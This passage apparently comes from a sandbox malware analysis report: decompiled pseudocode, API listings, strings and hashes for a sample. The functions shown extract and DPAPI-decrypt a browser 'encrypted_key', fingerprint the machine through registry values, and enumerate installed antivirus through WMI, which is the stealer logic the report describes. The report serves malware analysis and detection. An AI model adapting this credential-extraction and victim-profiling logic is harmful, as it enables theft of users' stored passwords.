									return E00429B16(0x200, _t175, _v8 ^ _t236, _t211, _t224, _t233);
								}
							}
						}
					} else {
						L3:
						return E00429B16(0x10000, _t175, _v8 ^ _t236, _t210, _t224, _t229);
					}
				}
				L73:
			}

0x00409a10
0x00409a10
0x00409a19
0x00409a20
0x00409a28
0x00409a2b
0x00409a2e
0x00409a34
0x00409a3d
0x00409a69
0x00409a6c
0x00409a6f
0x00409a71
0x00409b16
0x00409b16
0x00409b25
0x00409b2e
0x00409b33
0x00409b35
0x00409b37
0x00409b39
0x00409b3e
0x00409b3e
0x00409b45
0x00409b4c
0x00409b63
0x00409b65
0x00409b7f
0x00409b84
0x00409b96
0x00409ba0
0x00409b67
0x00409b72
0x00409b7c
0x00409b7c
0x00000000
0x00000000
0x00000000
0x00409a77
0x00409a77
0x00409a7a
0x00409a7c
0x00409a7e
0x00409a7e
0x00409a83
0x00409a85
0x00409a8c
0x00409a8f
0x00000000
0x00409a91
0x00409a91
0x00409a94
0x00409a98
0x00409a9d
0x00409a9d
0x00409aa0
0x00409aa2
0x00409aa5
0x00409aa7
0x00409aa7
0x00409aa9
0x00409aab
0x00409aad
0x00409ab1
0x00409ab6
0x00409ab7
0x00409aba
0x00409ac7
0x00409ace
0x00409add
0x00409ae2
0x00409ae7
0x00409ae9
0x00409ae9
0x00409aea
0x00409aea
0x00409aba
0x00409ab1
0x00409aed
0x00409af2
0x00409af2
0x00409aa7
0x00409b00
0x00409b05
0x00409b0e
0x00409b11
0x00409b14
0x00000000
0x00409b14
0x00409a8f
0x00409a3f
0x00409a42
0x00409ba3
0x00409ba7
0x00409bab
0x00409bab
0x00409bb0
0x00409bb2
0x00409bb5
0x00409bbc
0x00409bbf
0x00000000
0x00409bc5
0x00409bc5
0x00409bc8
0x00409bcc
0x00409bd1
0x00409bd1
0x00409bd4
0x00409bd6
0x00409bd9
0x00409be0
0x00409be0
0x00409be2
0x00409be4
0x00409be6
0x00409bea
0x00409bef
0x00409bf0
0x00409bf3
0x00409c04
0x00409c07
0x00409c16
0x00409c1b
0x00409c20
0x00409c22
0x00409c22
0x00409c23
0x00409c23
0x00409bf3
0x00409bea
0x00409c26
0x00409c28
0x00409c28
0x00409c2d
0x00409c2d
0x00409c37
0x00409c39
0x00409c44
0x00409c47
0x00409c4a
0x00409b4e
0x00409b56
0x00409b60
0x00409c50
0x00409c50
0x00409c57
0x00409c5a
0x00409c67
0x00409c6d
0x00409c6f
0x00409c71
0x00409c73
0x00409c75
0x00409c77
0x00409c79
0x00409c7f
0x00409c7f
0x00409c7b
0x00409c7b
0x00409c7d
0x00000000
0x00000000
0x00409c7d
0x00409c82
0x00409c85
0x00409c86
0x00409c86
0x00409c97
0x00409c9c
0x00409c9f
0x00409ca1
0x00409d12
0x00409d1a
0x00409d20
0x00409d22
0x00409d3d
0x00409d51
0x00409d57
0x00000000
0x00409d24
0x00409d24
0x00409d26
0x00000000
0x00409d28
0x00409d28
0x00409d2a
0x00000000
0x00409d30
0x00409d30
0x00409d37
0x00000000
0x00000000
0x00000000
0x00000000
0x00409d37
0x00409d2a
0x00409d26
0x00000000
0x00409ca3
0x00409ca3
0x00409caa
0x00409cc5
0x00409ccb
0x00409ccb
0x00409cce
0x00409cce
0x00409ce2
0x00409cef
0x00409c5c
0x00409c5c
0x00409c5c
0x00409cf1
0x00409cf4
0x00409d68
0x00409d6d
0x00409d73
0x00409d76
0x00409d7d
0x00409d7f
0x00409d84
0x00409d89
0x00409d8c
0x00409d8c
0x00409d92
0x00409da0
0x00409da0
0x00409db0
0x00409dba
0x00409dbc
0x00409dbf
0x00409dc2
0x00000000
0x00000000
0x00409dc8
0x00409dca
0x00409df7
0x00409df7
0x00409dcc
0x00409dcc
0x00409dea
0x00409dea
0x00409df1
0x00409df3
0x00409df5
0x00000000
0x00000000
0x00000000
0x00000000
0x00409df5
0x00409dce
0x00409dce
0x00409de0
0x00409de6
0x00409de8
0x00409e5c
0x00000000
0x00000000
0x00000000
0x00409de8
0x00409dcc
0x00409e01
0x00409e03
0x00409e08
0x00409e0e
0x00409e10
0x00409e12
0x00409e28
0x00409e28
0x00409e2e
0x00409e32
0x00409e35
0x00409e35
0x00409e42
0x00409e4d
0x00000000
0x00409e4d
0x00409e50
0x00000000
0x00409cf6
0x00409d01
0x00409d0b
0x00409d0b
0x00409cf4
0x00409c4a
0x00409a51
0x00409a51
0x00409a66
0x00409a66
0x00409a42
0x00000000

Strings

%s%s%s, xrefs: 00409CBF
:, xrefs: 00409D30
%s%s, xrefs: 00409D4B

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID:
String ID: %s%s$%s%s%s$:
API String ID: 0-3034790606
Opcode ID: feef4c33ac54833de0d4038c4db55f6fde4b5a94b496fce01d980dd89c11e373
Instruction ID: d092ed48ede991b0f9ab05c42b395c0628d9fd4e855d9782f8f9e8fafc4c4a88
Opcode Fuzzy Hash: feef4c33ac54833de0d4038c4db55f6fde4b5a94b496fce01d980dd89c11e373
Instruction Fuzzy Hash: 56D10631A006148BDB24DF18D880BEB73B5EF44314F0406BEE959AB3C2D778AE85CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00414A80 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 147
memoryCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E00414A80(intOrPtr __ecx, long __edx, intOrPtr _a4) {
				intOrPtr _v8;
				char _v16;
				signed int _v20;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v48;
				char _v52;
				intOrPtr _v56;
				char _v60;
				char _v64;
				long _v68;
				intOrPtr _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t42;
				signed int _t43;
				void* _t46;
				intOrPtr _t47;
				char* _t49;
				void* _t53;
				void* _t59;
				void* _t61;
				void* _t68;
				char _t69;
				char* _t70;
				char* _t83;
				void* _t88;
				char* _t89;
				void* _t97;
				char _t98;
				intOrPtr _t101;
				signed int _t102;
				void* _t103;
				void* _t105;
				void* _t107;

				_t84 = __edx;
				_push(0xffffffff);
				_push(E0043DB78);
				_push( *[fs:0x0]);
				_t42 =  *0x450664; // 0x30e242aa
				_t43 = _t42 ^ _t102;
				_v20 = _t43;
				_push(_t43);
				 *[fs:0x0] =  &_v16;
				_v72 = __ecx;
				_v68 = __edx;
				_v56 = 0;
				_t46 = E004148A0(_a4,  &_v52,  &_v60); // executed
				_t105 = _t103 - 0x38 + 4;
				if(_t46 == 0) {
					L23:
					_t47 = 0;
					L21:
					 *[fs:0x0] = _v16;
					_pop(_t88);
					_pop(_t97);
					_pop(_t68);
					return E00429B16(_t47, _t68, _v20 ^ _t102, _t84, _t88, _t97);
				}
				_t98 = _v60;
				if(_t98 == 0) {
					goto L23;
				}
				_t69 = _v52;
				if(_t69 == 0) {
					goto L23;
				}
				_t84 = _t69 + 1;
				_t49 = LocalAlloc(0x40, _t69 + 1); // executed
				_t89 = _t49;
				if(_t89 == 0) {
					L20:
					_t47 = _v56;
					goto L21;
				}
				if(_t69 == 0) {
					L7:
					_t90 = StrStrA(_t89, "encrypted_key");
					if(_t50 == 0) {
						_t47 = 0;
						goto L21;
					}
					_v28 = 0xf;
					_v32 = 0;
					_v48 = 0;
					E004050C0( &_v48, _t90 + 0x10, L00429C90(_t90 + 0x10)); // executed
					_v8 = 0;
					_t53 = L00429C90("\"}");
					_t107 = _t105 + 8;
					if(L004107A0(0,  &_v48, "\"}", _t53) != 0xffffffff) {
						E00405360( &_v48, _t55, 0xffffffff);
					}
					_t70 = _v48;
					if(_v28 < 0x10) {
						_t70 =  &_v48;
					}
					if(E00414930( &_v64, _t70,  &_v52) != 0 && _v64 >= 5) {
						_t93 = _v52;
						_t59 = L0042AC58(_v52, "DPAPI", 5);
						_t107 = _t107 + 0xc;
						if(_t59 == 0) {
							_t84 =  &_v60;
							_t61 = E00414990(_t93 + 5, _v64 + 0xfffffffb,  &_v52,  &_v60); // executed
							_t107 = _t107 + 4;
							if(_t61 != 0 && _v52 == 0x20) {
								_v56 = 1;
								E00414A00(_v68, _v72, _v60);
								_t107 = _t107 + 4;
							}
						}
					}
					if(_v28 >= 0x10) {
						_push(_v48);
						E00429B0B();
					}
					goto L20;
				} else {
					_t83 = _t89;
					_t84 = _t98 - _t89;
					_t101 = _t69;
					do {
						 *_t83 = _t83[_t84];
						_t83 =  &(_t83[1]);
						_t101 = _t101 - 1;
					} while (_t101 != 0);
					goto L7;
				}
			}

0x00414a80
0x00414a83
0x00414a85
0x00414a90
0x00414a94
0x00414a99
0x00414a9b
0x00414aa1
0x00414aa5
0x00414aae
0x00414aba
0x00414abd
0x00414ac0
0x00414ac5
0x00414aca
0x00414c26
0x00414c26
0x00414c06
0x00414c09
0x00414c11
0x00414c12
0x00414c13
0x00414c21
0x00414c21
0x00414ad0
0x00414ad5
0x00000000
0x00000000
0x00414adb
0x00414ae0
0x00000000
0x00000000
0x00414ae6
0x00414aec
0x00414af2
0x00414af6
0x00414c03
0x00414c03
0x00000000
0x00414c03
0x00414afe
0x00414b11
0x00414b1d
0x00414b23
0x00414c22
0x00000000
0x00414c22
0x00414b2d
0x00414b34
0x00414b37
0x00414b48
0x00414b52
0x00414b55
0x00414b5a
0x00414b71
0x00414b79
0x00414b79
0x00414b82
0x00414b85
0x00414b87
0x00414b87
0x00414b97
0x00414b9f
0x00414baa
0x00414baf
0x00414bb4
0x00414bb9
0x00414bc6
0x00414bcb
0x00414bd0
0x00414be2
0x00414be9
0x00414bee
0x00414bee
0x00414bd0
0x00414bb4
0x00414bf5
0x00414bfa
0x00414bfb
0x00414c00
0x00000000
0x00414b00
0x00414b02
0x00414b04
0x00414b06
0x00414b08
0x00414b0b
0x00414b0d
0x00414b0e
0x00414b0e
0x00000000
0x00414b08

APIs

Part of subcall function 004148A0: CreateFileA.KERNEL32(0040ABC6,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,30E242AA,0000000F,?,00000000), ref: 004148B7
Part of subcall function 004148A0: GetFileSizeEx.KERNEL32(00000000,?,?,?,30E242AA,0000000F,?,00000000), ref: 004148CD
Part of subcall function 004148A0: LocalAlloc.KERNEL32(00000040,?,?,?,30E242AA,0000000F,?,00000000), ref: 004148E4
Part of subcall function 004148A0: ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,30E242AA,0000000F,?,00000000), ref: 004148FD
Part of subcall function 004148A0: LocalFree.KERNEL32(00000000,?,?,30E242AA,0000000F,?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 00414919
Part of subcall function 004148A0: CloseHandle.KERNEL32(00000000,?,?,30E242AA,0000000F,?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 00414920

LocalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,?,?,00000000,0043DB78,000000FF,?,0040ABC6), ref: 00414AEC
StrStrA.SHLWAPI(00000000,encrypted_key,?,?,?,?,?,?,?,?,00000000,0043DB78,000000FF,?,0040ABC6,?), ref: 00414B17
_strlen.LIBCMT ref: 00414B3B
_strlen.LIBCMT ref: 00414B55
_memcmp.LIBCMT ref: 00414BAA

Strings

DPAPI, xrefs: 00414BA4
encrypted_key, xrefs: 00414B11
, xrefs: 00414BD2

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: FileLocal$Alloc_strlen$CloseCreateFreeHandleReadSize_memcmp
String ID: $DPAPI$encrypted_key
API String ID: 1551612422-454896251
Opcode ID: befb103518991cc8360d8f087f33cbbb9172bbbb47820ff5f1124df414fa7345
Instruction ID: 8803c9b63902f5b59372af65f5a683f5ddd61d434d8fde24f7949515b98f00a8
Opcode Fuzzy Hash: befb103518991cc8360d8f087f33cbbb9172bbbb47820ff5f1124df414fa7345
Instruction Fuzzy Hash: 6051F4B2E00208ABDB10DFA5EC81AEEB774AF85710F15412EF81573381E778A945CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040F890 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 87
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E0040F890(void* __ebx, void* __edi) {
				signed int _v8;
				char _v276;
				char _v531;
				char _v532;
				void* _v536;
				int _v540;
				void* __esi;
				signed int _t17;
				long _t21;
				intOrPtr _t27;
				intOrPtr _t31;
				void* _t39;
				intOrPtr _t43;
				intOrPtr _t44;
				char* _t48;
				intOrPtr _t51;
				intOrPtr _t52;
				char* _t53;
				void* _t54;
				signed int _t57;

				_t54 = __edi;
				_t39 = __ebx;
				_t17 =  *0x450664; // 0x30e242aa
				_v8 = _t17 ^ _t57;
				_v540 = 0xff;
				_v532 = 0;
				L00429B30( &_v531, 0, 0xfe);
				_t48 =  *0x452ddc; // 0x509d680
				_t21 = RegOpenKeyExA(0x80000001, _t48, 0, 0x20119,  &_v536); // executed
				if(_t21 == 0) {
					_t53 =  *0x45316c; // 0x509ca70
					RegQueryValueExA(_v536, _t53, 0, 0,  &_v532,  &_v540);
				}
				RegCloseKey(_v536);
				L00429B30( &_v276, 0, 0x104);
				lstrcatA( &_v276,  &_v532);
				lstrcatA( &_v276, "\\config\\");
				_t27 =  *0x452ad8; // 0x509d270
				E0040F710(_t39,  &_v532, _t27);
				_t43 =  *0x452d68; // 0x509c8d8
				_t56 =  &_v276;
				E0040F710(_t39,  &_v276, _t43);
				_t51 =  *0x452a7c; // 0x509d500
				E0040F710(_t39,  &_v276, _t51);
				_t31 =  *0x453228; // 0x5098bb0
				E0040F710(_t39,  &_v276, _t31);
				_t44 =  *0x452dc8; // 0x509d860
				E0040F710(_t39, _t56, _t44);
				_t52 =  *0x452fcc; // 0x509c920
				return E00429B16(E0040F710(_t39, _t56, _t52), _t39, _v8 ^ _t57, _t52, _t54, _t56);
			}

0x0040f890
0x0040f890
0x0040f899
0x0040f8a0
0x0040f8b2
0x0040f8bc
0x0040f8c3
0x0040f8c8
0x0040f8e5
0x0040f8ed
0x0040f8ef
0x0040f90f
0x0040f90f
0x0040f91c
0x0040f930
0x0040f946
0x0040f958
0x0040f95e
0x0040f96a
0x0040f96f
0x0040f979
0x0040f97f
0x0040f984
0x0040f98e
0x0040f993
0x0040f99c
0x0040f9a1
0x0040f9ab
0x0040f9b0
0x0040f9d0

APIs

_memset.LIBCMT ref: 0040F8C3
RegOpenKeyExA.KERNEL32(80000001,0509D680,00000000,00020119,?), ref: 0040F8E5
RegQueryValueExA.ADVAPI32(?,0509CA70,00000000,00000000,00000000,000000FF), ref: 0040F90F
RegCloseKey.ADVAPI32(?), ref: 0040F91C
_memset.LIBCMT ref: 0040F930
lstrcatA.KERNEL32(?,00000000), ref: 0040F946
lstrcatA.KERNEL32(?,\config\), ref: 0040F958

Strings

\config\, xrefs: 0040F94C

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _memsetlstrcat$CloseOpenQueryValue
String ID: \config\
API String ID: 1663104428-327132148
Opcode ID: 4ed61333ed405b2f4a63da239e07ffb88e8aea854f4af87dabe48b5864dd4ca3
Instruction ID: 97a1e64c27f2a7bc46ed4e2f8e568371b6bd16ed5ebaa97b9ef19a4279ed449e
Opcode Fuzzy Hash: 4ed61333ed405b2f4a63da239e07ffb88e8aea854f4af87dabe48b5864dd4ca3
Instruction Fuzzy Hash: A63199719402186BD720EB54EC46FEA7339BB44309F0405B9F50967192DAB4EB9CCB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0041F120 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 61
registryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E0041F120(void* __ebx, void* __edi, char* __esi) {
				signed int _v8;
				char _v263;
				char _v264;
				char _v520;
				int _v524;
				void* _v528;
				signed int _t18;
				long _t22;
				void* _t33;
				void* _t43;
				char* _t44;
				signed int _t45;

				_t44 = __esi;
				_t43 = __edi;
				_t33 = __ebx;
				_t18 =  *0x450664; // 0x30e242aa
				_v8 = _t18 ^ _t45;
				_v524 = 0;
				_v524 = 0xff;
				_v264 = 0;
				L00429B30( &_v263, 0, 0xfe);
				_t22 = RegOpenKeyExA(0x80000002, "SOFTWARE\\Microsoft\\Cryptography", 0, 0x20119,  &_v528); // executed
				if(_t22 == 0) {
					RegQueryValueExA(_v528, "MachineGuid", 0, 0,  &_v264,  &_v524); // executed
				}
				RegCloseKey(_v528);
				CharToOemA( &_v264,  &_v520);
				 *((intOrPtr*)(_t44 + 0x14)) = 0xf;
				 *(_t44 + 0x10) = 0;
				 *_t44 = 0;
				E004050C0(_t44,  &_v520, L00429C90( &_v520));
				return E00429B16(_t44, _t33, _v8 ^ _t45,  &_v520, _t43, _t44);
			}

0x0041f120
0x0041f120
0x0041f120
0x0041f129
0x0041f130
0x0041f13e
0x0041f14b
0x0041f155
0x0041f15c
0x0041f17c
0x0041f184
0x0041f1a4
0x0041f1a4
0x0041f1b1
0x0041f1c5
0x0041f1d1
0x0041f1d8
0x0041f1e0
0x0041f1f5
0x0041f209

APIs

_memset.LIBCMT ref: 0041F15C
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?), ref: 0041F17C
RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,00000000,000000FF), ref: 0041F1A4
RegCloseKey.ADVAPI32(?), ref: 0041F1B1
CharToOemA.USER32(00000000,?), ref: 0041F1C5
_strlen.LIBCMT ref: 0041F1E3

Strings

SOFTWARE\Microsoft\Cryptography, xrefs: 0041F172
MachineGuid, xrefs: 0041F19E

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: CharCloseOpenQueryValue_memset_strlen
String ID: MachineGuid$SOFTWARE\Microsoft\Cryptography
API String ID: 3724188811-1211650757
Opcode ID: bf4e2a9ab54af9bd4e732dcd1fe62748dc28ef6220e143c4a6013af31bfcbf62
Instruction ID: 9e535ee160bad436c570c82e4f5b7c2a02d98200a35c31fa7fed291daa535b22
Opcode Fuzzy Hash: bf4e2a9ab54af9bd4e732dcd1fe62748dc28ef6220e143c4a6013af31bfcbf62
Instruction Fuzzy Hash: DF21A8B5600319ABD720DF54DC49F9AB7B8EB04709F1041ADE509A7182DBB4AB848F59

Uniqueness

Uniqueness Score: -1.00%

Function 0041EC50 Relevance: 14.0, APIs: 5, Strings: 3, Instructions: 48
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E0041EC50(void* __ebx, void* __edi, void* __esi) {
				signed int _v8;
				char _v263;
				char _v264;
				char _v520;
				void* _v524;
				int _v528;
				signed int _t14;
				long _t18;
				void* _t26;
				void* _t34;
				void* _t35;
				signed int _t36;

				_t35 = __esi;
				_t34 = __edi;
				_t26 = __ebx;
				_t14 =  *0x450664; // 0x30e242aa
				_v8 = _t14 ^ _t36;
				_v528 = 0xff;
				_v264 = 0;
				L00429B30( &_v263, 0, 0xfe);
				_t18 = RegOpenKeyExA(0x80000002, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", 0, 0x20119,  &_v524); // executed
				if(_t18 == 0) {
					RegQueryValueExA(_v524, "ProcessorNameString", 0, 0,  &_v264,  &_v528); // executed
				}
				RegCloseKey(_v524);
				CharToOemA( &_v264,  &_v520);
				_t12 =  &_v8; // 0x40efec
				return E00429B16( &_v520, _t26,  *_t12 ^ _t36, _v524, _t34, _t35);
			}

0x0041ec50
0x0041ec50
0x0041ec50
0x0041ec59
0x0041ec60
0x0041ec71
0x0041ec7b
0x0041ec82
0x0041eca2
0x0041ecaa
0x0041ecca
0x0041ecca
0x0041ecd7
0x0041eceb
0x0041ecf1
0x0041ed04

APIs

_memset.LIBCMT ref: 0041EC82
RegOpenKeyExA.KERNEL32(80000002,HARDWARE\DESCRIPTION\System\CentralProcessor\0,00000000,00020119,?), ref: 0041ECA2
RegQueryValueExA.KERNEL32(?,ProcessorNameString,00000000,00000000,00000000,000000FF), ref: 0041ECCA
RegCloseKey.ADVAPI32(?), ref: 0041ECD7
CharToOemA.USER32(00000000,?), ref: 0041ECEB

Strings

ProcessorNameString, xrefs: 0041ECC4
@, xrefs: 0041ECF1
HARDWARE\DESCRIPTION\System\CentralProcessor\0, xrefs: 0041EC98

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: CharCloseOpenQueryValue_memset
String ID: HARDWARE\DESCRIPTION\System\CentralProcessor\0$ProcessorNameString$@
API String ID: 2235053359-2196194732
Opcode ID: 153c83e8b54b9279638db18515a4725f3d437d8607b86e59948e5a4a3f838164
Instruction ID: 374bdbb4fa4f6257a71098178cb50dd5a2ff622d07b1054c9e5d06b8ee0209ec
Opcode Fuzzy Hash: 153c83e8b54b9279638db18515a4725f3d437d8607b86e59948e5a4a3f838164
Instruction Fuzzy Hash: 5D110CB564031CABD720DF50DC4AFE9B378EB14705F1041E9BA09A7182EAB4AF84CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0041EFE0 Relevance: 14.0, APIs: 5, Strings: 3, Instructions: 48
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E0041EFE0(void* __ebx, void* __edi, void* __esi) {
				signed int _v8;
				char _v263;
				char _v264;
				char _v520;
				void* _v524;
				int _v528;
				signed int _t14;
				long _t18;
				void* _t26;
				void* _t34;
				void* _t35;
				signed int _t36;

				_t35 = __esi;
				_t34 = __edi;
				_t26 = __ebx;
				_t14 =  *0x450664; // 0x30e242aa
				_v8 = _t14 ^ _t36;
				_v528 = 0xff;
				_v264 = 0;
				L00429B30( &_v263, 0, 0xfe);
				_t18 = RegOpenKeyExA(0x80000002, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", 0, 0x20119,  &_v524); // executed
				if(_t18 == 0) {
					RegQueryValueExA(_v524, "ProductName", 0, 0,  &_v264,  &_v528); // executed
				}
				RegCloseKey(_v524);
				CharToOemA( &_v264,  &_v520);
				_t12 =  &_v8; // 0x40ebec
				return E00429B16( &_v520, _t26,  *_t12 ^ _t36, _v524, _t34, _t35);
			}

0x0041efe0
0x0041efe0
0x0041efe0
0x0041efe9
0x0041eff0
0x0041f001
0x0041f00b
0x0041f012
0x0041f032
0x0041f03a
0x0041f05a
0x0041f05a
0x0041f067
0x0041f07b
0x0041f081
0x0041f094

APIs

_memset.LIBCMT ref: 0041F012
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00020119,?), ref: 0041F032
RegQueryValueExA.KERNEL32(?,ProductName,00000000,00000000,00000000,000000FF), ref: 0041F05A
RegCloseKey.ADVAPI32(?), ref: 0041F067
CharToOemA.USER32(00000000,?), ref: 0041F07B

Strings

@, xrefs: 0041F081
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 0041F028
ProductName, xrefs: 0041F054

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: CharCloseOpenQueryValue_memset
String ID: ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion$@
API String ID: 2235053359-1761360446
Opcode ID: 60e46726d6f0031be5849ed0689b4ece98d2c44b0b3f565c196c6e597be7f2e0
Instruction ID: 2bac0bb09239717e6ea6430ea86f452d22ae0be02ed41c4befa17d7145da4d67
Opcode Fuzzy Hash: 60e46726d6f0031be5849ed0689b4ece98d2c44b0b3f565c196c6e597be7f2e0
Instruction Fuzzy Hash: 5C110CB560031CABD720DF50DC49FE9B778EB14705F1001E9B609A7192EA74AF84CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0041FC30 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 159
COMMON

Download Yara Rule

C-Code - Quality: 21%

			E0041FC30() {
				char _v8;
				char _v16;
				intOrPtr _v20;
				signed int _v24;
				intOrPtr _v32;
				char _v36;
				char _v52;
				char _v80;
				char _v108;
				void* _v112;
				void* _v116;
				void* _v120;
				char _v124;
				void* _v128;
				intOrPtr _v140;
				char _v148;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t46;
				signed int _t47;
				intOrPtr* _t50;
				void* _t52;
				char* _t53;
				intOrPtr* _t55;
				intOrPtr* _t57;
				intOrPtr* _t61;
				char* _t65;
				void* _t70;
				void* _t72;
				intOrPtr _t87;
				intOrPtr _t89;
				void* _t90;
				void* _t91;
				char* _t94;
				void* _t95;
				void* _t96;
				signed int _t99;
				void* _t100;

				_t46 =  *0x450664; // 0x30e242aa
				_t47 = _t46 ^ _t99;
				_v24 = _t47;
				 *[fs:0x0] =  &_v16;
				_v20 = _t100 - 0x84;
				_v8 = 0;
				__imp__CoInitializeEx(0, 0, _t47, _t90, _t95, _t70,  *[fs:0x0], 0x43dcbb, 0xffffffff);
				__imp__CoInitializeSecurity(0, 0xffffffff, 0, 0, 0, 3, 0, 0, 0); // executed
				_v128 = 0;
				__imp__CoCreateInstance(0x4404e8, 0, 1, 0x440418,  &_v128);
				_t50 = _v128;
				_t86 =  &_v112;
				_v112 = 0;
				_t52 =  *((intOrPtr*)( *((intOrPtr*)( *_t50 + 0xc))))(_t50, L"root\\SecurityCenter2", 0, 0, 0, 0, 0, 0,  &_v112); // executed
				if(_t52 < 0) {
					L10:
					_t53 = "Unknown";
					L11:
					 *[fs:0x0] = _v16;
					_pop(_t91);
					_pop(_t96);
					_pop(_t72);
					return E00429B16(_t53, _t72, _v24 ^ _t99, _t86, _t91, _t96);
				}
				__imp__CoSetProxyBlanket(_v112, 0xa, 0, 0, 3, 3, 0, 0); // executed
				_t55 = _v112;
				_push( &_v120);
				_push(0);
				_push(0x20);
				_push(L"Select * From AntiVirusProduct");
				_v120 = 0;
				_t87 =  *_t55;
				_t86 =  *((intOrPtr*)(_t87 + 0x50));
				_push(L"WQL");
				_push(_t55);
				if( *((intOrPtr*)( *((intOrPtr*)(_t87 + 0x50))))() < 0) {
					goto L10;
				}
				_v116 = 0;
				_v124 = 0;
				_v32 = 0xf;
				_v36 = 0;
				_v52 = 0;
				_v8 = 1;
				_t57 = _v120;
				if(_t57 == 0) {
					goto L10;
				}
				_t86 =  &_v116;
				 *((intOrPtr*)( *((intOrPtr*)( *_t57 + 0x10))))(_t57, 0xffffffff, 1,  &_v116,  &_v124);
				if(_v124 == 0) {
					if(_v32 >= 0x10) {
						_push(_v52);
						E00429B0B();
					}
					goto L10;
				}
				__imp__#8( &_v148);
				_v8 = 2;
				_t61 = _v116;
				_t89 =  *_t61;
				_t86 =  *((intOrPtr*)(_t89 + 0x10));
